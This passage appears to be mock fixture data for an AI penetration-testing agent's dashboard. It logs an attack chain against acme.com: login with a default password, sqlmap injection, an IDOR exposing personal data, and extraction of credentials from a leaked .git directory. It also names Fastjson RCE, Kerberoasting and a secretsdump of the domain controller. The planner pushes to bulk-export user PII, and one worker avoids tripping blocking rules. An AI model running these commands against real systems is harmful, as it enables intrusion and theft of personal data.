"fiKerb", type: "finding", payload: P({ summary: "通过 Kerberoasting 破解域服务账号 svc_sql 口令" }), priority: 0, state: "confirmed", origin: "work#12", ts: T("2026-07-25T23:20:00Z"), }, { id: "fiDC", type: "finding", payload: P({ summary: "控制域控制器 DC01(Domain Admin):内网目标达成" }), priority: 0, state: "confirmed", origin: "work#13", ts: T("2026-07-26T00:20:00Z"), }, // ── 提示(主 agent 注入)── { id: "h1", type: "hint", payload: P({ summary: "后台为 Element-UI,优先执行默认口令列表" }), priority: 5, state: "consumed", origin: "mainagent", ts: T("2026-07-26T03:20:00Z"), }, { id: "h2", type: "hint", payload: P({ summary: "内网优先攻击 Jenkins:未授权 /script 直达 Groovy RCE" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T21:20:00Z"), }, { id: "h3", type: "hint", payload: P({ summary: "将源码中的数据库口令向内网喷洒,很可能通用" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T23:10:00Z"), }, ], edges: [ // 根 → 目标 { src: "root", dst: "g1", rel: "spawns" }, { src: "root", dst: "g2", rel: "spawns" }, { src: "root", dst: "g3", rel: "spawns" }, { src: "root", dst: "g4", rel: "spawns" }, // 目标 → 意图 { src: "g1", dst: "i1", rel: "spawns" }, { src: "g1", dst: "i2", rel: "spawns" }, { src: "g1", dst: "i3", rel: "spawns" }, { src: "g2", dst: "i4", rel: "spawns" }, { src: "g2", dst: "i5", rel: "spawns" }, { src: "g2", dst: "ig", rel: "spawns" }, { src: "g3", dst: "i6", rel: "spawns" }, { src: "g3", dst: "i7", rel: "spawns" }, { src: "g3", dst: "i8", rel: "spawns" }, { src: "g4", dst: "i9", rel: "spawns" }, { src: "g4", dst: "i10", rel: "spawns" }, { src: "g4", dst: "i11", rel: "spawns" }, { src: "g4", dst: "i12", rel: "spawns" }, { src: "g4", dst: "i13", rel: "spawns" }, // 意图 → 事实 / 漏洞(产出) { src: "i1", dst: "fa1", rel: "yields" }, { src: "i4", dst: "fa2", rel: "yields" }, { src: "i2", dst: "fi1", rel: "yields" }, { src: "i4", dst: "fi2", rel: "yields" }, { src: "i5", dst: "fi3", rel: "yields" }, { src: "ig", dst: "faGit", rel: "yields" }, { src: "ig", dst: "faCreds", rel: "yields" }, { src: "ig", dst: "fiSrc", rel: "yields" }, { src: "i6", dst: "fa3", rel: "yields" }, { src: "i7", dst: "fa4", rel: "yields" }, { src: "i7", dst: "fiRce", rel: "yields" }, { src: "i8", dst: "fa5", rel: "yields" }, { src: "i8", dst: "fiPriv", rel: "yields" }, { src: "i9", dst: "fa6", rel: "yields" }, { src: "i9", dst: "fa7", rel: "yields" }, { src: "i11", dst: "fa8", rel: "yields" }, { src: "i11", dst: "fa9", rel: "yields" }, { src: "i11", dst: "fiJenkins", rel: "yields" }, { src: "i12", dst: "fa10", rel: "yields" }, { src: "i12", dst: "fiKerb", rel: "yields" }, { src: "i13", dst: "fiDC", rel: "yields" }, // 事实 → 新意图(事实驱动的多层递进) { src: "fa3", dst: "i7", rel: "derived_from" }, { src: "fa4", dst: "i8", rel: "derived_from" }, { src: "fa4", dst: "i9", rel: "derived_from" }, { src: "faCreds", dst: "i10", rel: "derived_from" }, { src: "fa7", dst: "i11", rel: "derived_from" }, { src: "fa7", dst: "i12", rel: "derived_from" }, { src: "fa9", dst: "i13", rel: "derived_from" }, { src: "fa10", dst: "i13", rel: "derived_from" }, // 提示 → 意图 { src: "h1", dst: "i2", rel: "derived_from" }, { src: "h2", dst: "i11", rel: "derived_from" }, { src: "h3", dst: "i10", rel: "derived_from" }, // 漏洞 → 证明目标达成 { src: "fi1", dst: "g1", rel: "proves" }, { src: "fiRce", dst: "g3", rel: "proves" }, { src: "fiDC", dst: "g4", rel: "proves" }, ], }; export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent"); export const frontier: TaskNode[] = explorationGraph.nodes.filter( (n) => n.type === "intent" && (n.state === "open" || n.state === "running"), ); // ── Activity(执行过程)───────────────────────────────────────────────────── // 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配 // intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。 // 每个 worker 会话含完整工具执行链(tool_use → tool_result → …→ result)。 export const activity: Activity[] = [ // planner —— 每轮完整决策链:读态势 → 拉 worker 产出对照 → 判目标 → add_intent 派方向 // ── 第 0 轮 · 目标拆解与首批意图(2026-07-24 09:12)── { seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" }, { seq: 1001, worker: "planner", ts: T("2026-07-24T09:12:25Z"), kind: "thinking", summary: "graph_overview:goals 已在目标层完成拆解。g1「获取 acme.com 后台管理权限」、g2「查阅用户敏感数据」,二者均为 open,facts=0,recent_facts 为空(图谱近乎空白,尚无任何 worker 产物)。范围内资产仅有根域名 acme.com 与一个 C 类网段。攻击面初判为 www / admin / api / shop / vpn 五个入口。由于图谱中没有 fact,我只能以【极轻量的只读侦察】来具体化初始意图,plan 阶段不执行实际作业。", }, { seq: 1002, worker: "planner", ts: T("2026-07-24T09:12:40Z"), kind: "tool_use", tool: "bash", tool_use_id: "p0-probe", summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com", detail: "初始情况近乎空白,执行不超过 3 次只读侦察以校正初始意图方向(不做枚举·验证,那是 worker 的职责)。", }, { seq: 1003, worker: "planner", ts: T("2026-07-24T09:12:52Z"), kind: "tool_result", tool: "bash", tool_use_id: "p0-probe", summary: "acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200,无 X-Powered-By,body 中检测到 element-ui/vue 特征", detail: "admin 是独立的后台登录页。已确认五个入口有效,可精确撰写初始意图说明。", }, { seq: 1004, worker: "planner", ts: T("2026-07-24T09:13:00Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p0-ai", summary: "add_intent × 4(批量派遣首批探索方向)", detail: "intents=[\n { summary: '全量枚举 acme.com 子域名 + 识别存活主机端口/服务以掌握攻击面', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 后台默认口令/弱口令测试(Element-UI 登录,无验证码)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 参数 SQL 注入检测', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 订单端点权限绕过(IDOR)测试', asset_ids: [api], priority: 8 },\n]\nparent_ids 均为空(属顶层新方向,回退连接到 origin fact)。", }, { seq: 1005, worker: "planner", ts: T("2026-07-24T09:13:02Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p0-ai", summary: "已创建 4 个 intent → ids=[i1, i2, i4, i5],已接入 frontier", detail: "有意保持路径多样性。以 i1 侦察 + i2(g1 认证路径) + i4/i5(g2 数据路径)并行两条独立攻击手法,不急于收敛。", }, { seq: 1006, worker: "planner", ts: T("2026-07-24T09:13:05Z"), kind: "text", summary: "本轮派生出首批 4 个意图。i1 资产侦察、i2 后台口令、i4 注入、i5 API 权限绕过,g1 走 i2、g2 走 i4/i5,两个目标都保留了独立入口。worker 产出事实后再按脉络增援。", }, // ── 第 1 轮 · 攻击面加码(2026-07-25 14:12)── { seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "第 1 轮 · 攻击面增援" }, { seq: 1101, worker: "planner", ts: T("2026-07-25T14:12:15Z"), kind: "thinking", summary: "recent_facts 比对:workG 回报 faGit「.git 可下载,用 git-dumper 还原后端源码」与 faCreds「config.php 中硬编码 sa/Acme@2021(推测内网通用)」,work#6 指纹识别回报 fa3「在 shop 上检测到 Fastjson 1.2.24(存在已知反序列化 RCE)」。【可作素材的新手法】有两种。① 硬编码数据库口令可能在内网大范围复用。② Fastjson 有成熟的 RCE 手法。这开辟了与既有认证/注入路径【本质不同】的入口,是从 shop 直接用 RCE 突破 DMZ 的路径。先取 faGit 详情核对产物。", }, { seq: 1102, worker: "planner", ts: T("2026-07-25T14:12:28Z"), kind: "tool_use", tool: "node_detail", tool_use_id: "p1-nd", summary: "node_detail(faGit):比对 workG 的源码还原产物", detail: "在 add_intent 前先确认 worker 实际还原了什么,避免仅凭指纹臆断方向。", }, { seq: 1103, worker: "planner", ts: T("2026-07-25T14:12:35Z"), kind: "tool_result", tool: "node_detail", tool_use_id: "p1-nd", summary: "faGit 证据:用 git-dumper 还原 config.php / db.php / order_api.php。config.php 内 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']", detail: "硬编码值指向内网 10.10.10.5(FS01),佐证 faCreds 的「内网通用」推测。RCE 站稳后这组口令值得复用。", }, { seq: 1104, worker: "planner", ts: T("2026-07-25T14:12:50Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p1-ai", summary: "add_intent × 2(Fastjson 突破链,按串行阶段从可执行的第一步开始派遣)", detail: "intents=[\n { summary: '深入分析 shop.acme.com 组件指纹 + 精确定位 Fastjson 1.2.24 CVE(确认 gadget 链)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: '构造 Fastjson 反序列化 payload 触发 shop RCE 并获取反弹 shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n注:属强依赖的串行链,已在 TodoWrite 中记录『指纹→RCE→据点提权』三个阶段,本轮仅派遣前两步(提权依赖 shell 产物,故下一轮派遣)。", }, { seq: 1105, worker: "planner", ts: T("2026-07-25T14:12:52Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p1-ai", summary: "已创建 2 个 intent → ids=[i6, i7],经 fa3 接入脉络", }, { seq: 1106, worker: "planner", ts: T("2026-07-25T14:13:00Z"), kind: "text", summary: "态势升级:源码 + 内网硬编码口令 + Fastjson RCE 构成了全新的突破路径。已向目标层登记 g3「从外网突破 DMZ,取得内网据点」,并派遣 i6(指纹/CVE 关联)·i7(触发 RCE)。DMZ 提权阶段依赖 shell,故记入待办并在下一轮派遣。", }, // ── 第 2 轮 · 立足点已建,转内网(2026-07-25 20:25)── { seq: 1200, worker: "planner", ts: T("2026-07-25T20:25:00Z"), kind: "round", summary: "第 2 轮 · 据点获取完成,转向内网", }, { seq: 1201, worker: "planner", ts: T("2026-07-25T20:25:18Z"), kind: "thinking", summary: "脉络比对:i7 回报 fa4「反弹 shell www-data@dmz-web01(10.0.20.15),位于 DMZ 网段」,提权链回报 fa5「在 sudo -l 中检测到 NOPASSWD python3 → 可提权至 root」、fa6「据点第二块网卡直连内网 10.10.10.0/24」。g3 的验收条件(突破 DMZ + 取得据点)已由 fa4+fa6 直接满足。先确认 fa6 的内网可达性再 prove_goal。", }, { seq: 1202, worker: "planner", ts: T("2026-07-25T20:25:30Z"), kind: "tool_use", tool: "node_detail", tool_use_id: "p2-nd", summary: "node_detail(fa6):确认双网卡与内网可达性", }, { seq: 1203, worker: "planner", ts: T("2026-07-25T20:25:38Z"), kind: "tool_result", tool: "node_detail", tool_use_id: "p2-nd", summary: "fa6 证据:ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(内网);ping 10.10.10.10 成功,确认跨越 DMZ 边界", }, { seq: 1204, worker: "planner", ts: T("2026-07-25T20:25:50Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p2-pg", summary: "prove_goal(g3, evidence=fa6)", detail: "reason:通过 i7 的 RCE 取得 DMZ 据点(fa4),fa5 完成 root 提权,fa6 证明第二块网卡直连内网且 ping 通 DC01。达成「突破 DMZ,取得内网据点」验收。", }, { seq: 1205, worker: "planner", ts: T("2026-07-25T20:25:52Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p2-pg", summary: "goal g3 → met(已关联证据 fa6);g1/g2/g4 尚未达成,继续作业", }, { seq: 1206, worker: "planner", ts: T("2026-07-25T20:26:10Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p2-ai", summary: "add_intent × 4(以据点为跳板展开内网横向移动)", detail: "intents=[\n { summary: '以 dmz-web01 为跳板发现内网 10.10.10.0/24 主机并识别端口', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '内网横向移动:用硬编码口令 sa/Acme@2021 复用凭据并做密码喷洒', parent_ids: [faCreds], priority: 8 },\n { summary: '内网 Jenkins(10.10.10.20) 未授权 /script Groovy 执行(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '针对域服务账号的 Kerberoasting 与离线破解', parent_ids: [fa6], priority: 8 },\n]\n主机发现为前置步骤(先派遣),其余三项为并行横向探索方向。", }, { seq: 1207, worker: "planner", ts: T("2026-07-25T20:26:12Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p2-ai", summary: "4 intents created → ids=[i9, i10, i11, i12]", }, { seq: 1208, worker: "planner", ts: T("2026-07-25T20:26:20Z"), kind: "text", summary: "g3 达成,攻击面从外网转向内网。已登记 g4「通过内网横向移动控制内网目标域控制器 DC01」,并派遣 i9(主机发现) + i10/i11/i12 三项并行横向移动。凭据复用直接挂在 faCreds 上。即把外网源码泄露获得的口令投入内网横向移动。", }, // ── 第 3 轮 · 靶标达成复盘(2026-07-26 00:25)── { seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "第 3 轮 · 目标达成回顾" }, { seq: 1301, worker: "planner", ts: T("2026-07-26T00:25:16Z"), kind: "thinking", summary: "本轮 worker 产物比对:i9→fa7「内网存活 DC01/FS01/JENKINS」,i11→fa8「Jenkins /script 无认证的 Groovy」+ fa9「从 Jenkins 凭据库提取 acme\\svc_deploy 明文口令」,i12→fa10「svc_sql TGS Kerberoast,用 hashcat 破解出 Sql@2020」。svc_deploy 属于 Domain Admins,i13 借此用 psexec 控制 DC01 并 secretsdump。g4 验收(控制 DC01)应已达成,故先比对 finding 证据链再确认。", }, { seq: 1302, worker: "planner", ts: T("2026-07-26T00:25:30Z"), kind: "tool_use", tool: "list_findings", tool_use_id: "p3-lf", summary: "list_findings:比对 DC01 失陷的确凿证据", }, { seq: 1303, worker: "planner", ts: T("2026-07-26T00:25:40Z"), kind: "tool_result", tool: "list_findings", tool_use_id: "p3-lf", summary: "F-09「完全控制域控制器 DC01 / 用 secretsdump 导出整个域哈希」critical(证据:psexec svc_deploy@10.10.10.10 + NTDS.dit dump);上游链 fa9→fa10→i13 完整", }, { seq: 1304, worker: "planner", ts: T("2026-07-26T00:25:52Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p3-pg", summary: "prove_goal(g4, evidence=F-09)", detail: "reason:Jenkins 泄露 svc_deploy(Domain Admin) → 用 psexec 控制 DC01 → 以 secretsdump 导出整个域哈希,F-09 确认,达成「控制内网目标域控制器 DC01」。", }, { seq: 1305, worker: "planner", ts: T("2026-07-26T00:25:54Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p3-pg", summary: "goal g4 → met;系统提示:g2 仍为 open 且非最后一个目标,故整体作业尚未结束", }, { seq: 1306, worker: "planner", ts: T("2026-07-26T00:26:10Z"), kind: "text", summary: "g4 收尾,内·外网路径已完全打通(外网 RCE → DMZ → 内网 → 域控制器)。逐一比对未覆盖方向。g2「查阅用户敏感数据」还差最后一步,但既有 i3(后台用户端点) + i5(API IDOR) 已覆盖该方向且均为 running。本轮不存在【本质不同的未覆盖新方向】,故遵循克制原则,新增意图 0,等待 i3/i5 的产出。", }, // ── 第 4 轮 · 后台达成,收敛 g2(2026-07-26 03:55)── { seq: 1400, worker: "planner", ts: T("2026-07-26T03:55:00Z"), kind: "round", summary: "第 4 轮 · 后台达成,g2 收敛", }, { seq: 1401, worker: "planner", ts: T("2026-07-26T03:55:14Z"), kind: "thinking", summary: "recent_facts 比对:work#2 用 faCreds 的 Acme@2021 命中 admin 后台(i2 done),取得后台管理权限。g1 验收达成,先用 prove_goal 确认。随后进行【定量验收比对】。g2「查阅用户敏感数据」目前 i3/i5 仅触及端点表面,尚未真正获取大量数据,实测未达标,故【禁止】prove_goal,改为提高优先级以补强数据获取意图。", }, { seq: 1402, worker: "planner", ts: T("2026-07-26T03:55:26Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p4-pg", summary: "prove_goal(g1, evidence=fa1)", detail: "reason:i2 用外网泄露的硬编码口令 Acme@2021 成功登录 admin 后台(Element-UI),取得后台管理权限,g1 达成。", }, { seq: 1403, worker: "planner", ts: T("2026-07-26T03:55:28Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p4-pg", summary: "goal g1 → met;剩余未达成:g2", }, { seq: 1404, worker: "planner", ts: T("2026-07-26T03:55:40Z"), kind: "thinking", summary: "g2 定量比对:目标要求「查阅用户敏感数据」,即真正获取大量用户记录。graph_overview 的 findings 中尚不存在「成功导出用户数据」条目,i3/i5 均处于 running 且未回报数据获取结果。实测未达标。严禁以「既已进入后台即大体达成」草率标记为 met,继续派遣意图以弥补差距。", }, { seq: 1405, worker: "planner", ts: T("2026-07-26T03:55:52Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p4-ai", summary: "add_intent × 2(g2 数据获取收敛,优先级上调)", detail: "intents=[\n { summary: '已完成 admin 后台登录,枚举用户管理/导出端点以批量导出用户敏感字段', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: '通过 api.acme.com 订单 IDOR 遍历 order_id 批量导出用户订单/PII', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n注:i3/i5 已处于 running,本轮以更精确的数据获取说明 + 优先级上调(→9)增援,不重复派遣同义意图。", }, { seq: 1406, worker: "planner", ts: T("2026-07-26T03:55:54Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p4-ai", summary: "已更新 2 个 intent → ids=[i3, i5](优先级升至 9,说明具体化为「大量数据获取」)", }, { seq: 1407, worker: "planner", ts: T("2026-07-26T03:55:58Z"), kind: "text", summary: "g1 达成(4 个中 met 3 个:g1/g3/g4)。g2 严格守住定量验收。仅进入后台不予认定,必须获取大量用户数据才能确认。已将 i3/i5 提升至 priority 9 并具体化为数据获取意图,待 worker 回报后即可结束整体作业。", }, // work#1 · i1 子域枚举与端口扫描(done) { seq: 10, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:00Z"), kind: "thinking", summary: "先被动侦察子域名,再对存活主机执行端口/服务识别。", }, { seq: 11, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11", summary: "subfinder -d acme.com -silent | httpx -silent -sc -title", }, { seq: 12, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:22:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11", summary: "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", detail: "存活子域名 5 个,其中 admin 为后台登录页。", }, { seq: 13, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:23:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12", summary: "nmap -sV -T4 -p- 203.0.113.10", }, { seq: 14, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:26:40Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12", summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", detail: "22/80/443 端口开放。", }, { seq: 15, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:00Z"), kind: "tool_use", tool: "upsert_asset", tool_use_id: "t13", summary: "upsert_asset × 6(子域名+服务)", }, { seq: 16, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:01Z"), kind: "tool_result", tool: "upsert_asset", tool_use_id: "t13", summary: "6 assets upserted", }, { seq: 17, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:40:00Z"), kind: "result", summary: "资产侦察完成并发现后台 admin.acme.com,将结果回写图谱。", input_tokens: 96000, output_tokens: 6100, cache_read_tokens: 61000, cache_write_tokens: 9000, }, // work#2 · i2 后台默认口令(done,证明 g1) { seq: 20, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:31:00Z"), kind: "thinking", summary: "后台为 Element-UI,登录端点既无验证码也无限速。先尝试默认口令列表,再进行字典爆破。", }, { seq: 21, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t21", summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'", }, { seq: 22, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t21", summary: "401", detail: "admin/admin 失败。", }, { seq: 23, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t22", summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login", }, { seq: 24, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:33Z"), kind: "tool_result", tool: "bash", tool_use_id: "t22", summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", detail: "admin/admin123 登录成功,取得会话 cookie。", }, { seq: 25, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "t23", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '[^<]*'", }, { seq: 26, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "t23", summary: "<title>Acme Admin · 控制台", detail: "确认已进入后台控制台。", }, { seq: 27, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t24", summary: "report_finding(Default Credentials, high)", }, { seq: 28, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t24", summary: "记录了 finding f-6,并关联到目标 g1(proves)。", }, { seq: 29, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:50:00Z"), kind: "result", summary: "已确认后台默认口令,达成目标 ①。", input_tokens: 72000, output_tokens: 4800, cache_read_tokens: 48000, cache_write_tokens: 7200, }, // work#4 · i4 SQL 注入(done) { seq: 40, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:01:00Z"), kind: "thinking", summary: "search?q= 结果页会把 q 拼接到标题。先手动插入单引号以观察错误信息。", }, { seq: 41, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t41", summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'", }, { seq: 42, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:04Z"), kind: "tool_result", tool: "bash", tool_use_id: "t41", summary: "Unclosed quotation mark ... near '1'.", detail: "疑似 MSSQL 报错型注入。", }, { seq: 43, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:03:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t42", summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2", }, { seq: 44, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t42", summary: "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", detail: "确认可注入,并枚举出 4 个数据库。", }, { seq: 45, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t43", summary: "report_finding(SQL Injection, high)", }, { seq: 46, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t43", summary: "记录了 finding f-1。", }, { seq: 47, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:20:00Z"), kind: "result", summary: "确认存在 SQL 注入。", input_tokens: 118000, output_tokens: 7400, cache_read_tokens: 82000, cache_write_tokens: 11000, }, // work#5 · i5 IDOR(running) { seq: 50, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:31:00Z"), kind: "thinking", summary: "/v1/orders?id= 为数字自增 id,是典型的 IDOR 面。先查询自己的订单,再修改 id 看能否读取他人订单。", }, { seq: 51, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t51", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001", }, { seq: 52, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t51", summary: '{ "order_id":1001, "user_id":42, "amount":299 }', detail: "是本人订单,正常。", }, { seq: 53, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t52", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002", }, { seq: 54, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t52", summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"北京市朝阳区 ****" }', detail: "通过权限绕过读取了他人订单(含手机号/地址),且无属主校验。", }, { seq: 55, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t53", summary: "report_finding(IDOR, high)", }, { seq: 56, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t53", summary: "记录了 finding f-2。", }, { seq: 57, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T03:58:10Z"), kind: "thinking", summary: "正在批量遍历 id 范围,评估可通过权限绕过访问的数据规模(暂不导出,避免触发拦截规则)。", }, // work#3 · i3 后台用户接口枚举(running) { seq: 60, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:56:00Z"), kind: "thinking", summary: "已取得后台会话,枚举管理端点,寻找可大量导出用户敏感数据的入口(目标 ②)。", }, { seq: 61, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t61", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1", }, { seq: 62, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t61", summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }', detail: "管理端点可按页返回全部用户(含邮箱/手机号),约 12,800 条。", }, { seq: 63, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:58:20Z"), kind: "thinking", summary: "确认存在大量读取用户数据的入口。导出操作命中破坏性/泄露规则,已提交拦截审批并等待通过。", }, // workG · ig .git 源码泄露与硬编码凭据(done) { seq: 310, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:26:00Z"), kind: "thinking", summary: "robots.txt 提及 /.git。先探测该目录能否下载,取得源码后即可白盒寻找注入点与硬编码密钥。", }, { seq: 311, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg1", summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD", }, { seq: 312, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg1", summary: "200", detail: ".git 目录可被外部访问。", }, { seq: 313, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:28:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg2", summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head", }, { seq: 314, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:30:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg2", summary: "已还原 214 个文件;HEAD=main。config.php / db.php 在列表中。", detail: "已将后端源码完整还原到 /tmp/acme。", }, { seq: 315, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg3", summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php", }, { seq: 316, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg3", summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';", detail: "数据库口令硬编码,且 host 指向内网 IP。记录为推定内网通用的凭据。", }, { seq: 317, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:36:00Z"), kind: "result", summary: "确认源码泄露与硬编码数据库凭据,并将凭据写入图谱以便后续在内网复用。", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000, }, // work#6 · i6 shop 指纹与 CVE 关联(done) { seq: 320, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:22:00Z"), kind: "thinking", summary: "shop.acme.com 为自研电商,先对框架·组件版本做指纹识别,再攻陷存在已知反序列化漏洞的组件。", }, { seq: 321, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6a", summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'", }, { seq: 322, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6a", summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...", detail: "为 Java 技术栈,存在接收 JSON body 的 /api/import 端点。", }, { seq: 323, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:30:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6b", summary: 'curl -s -H 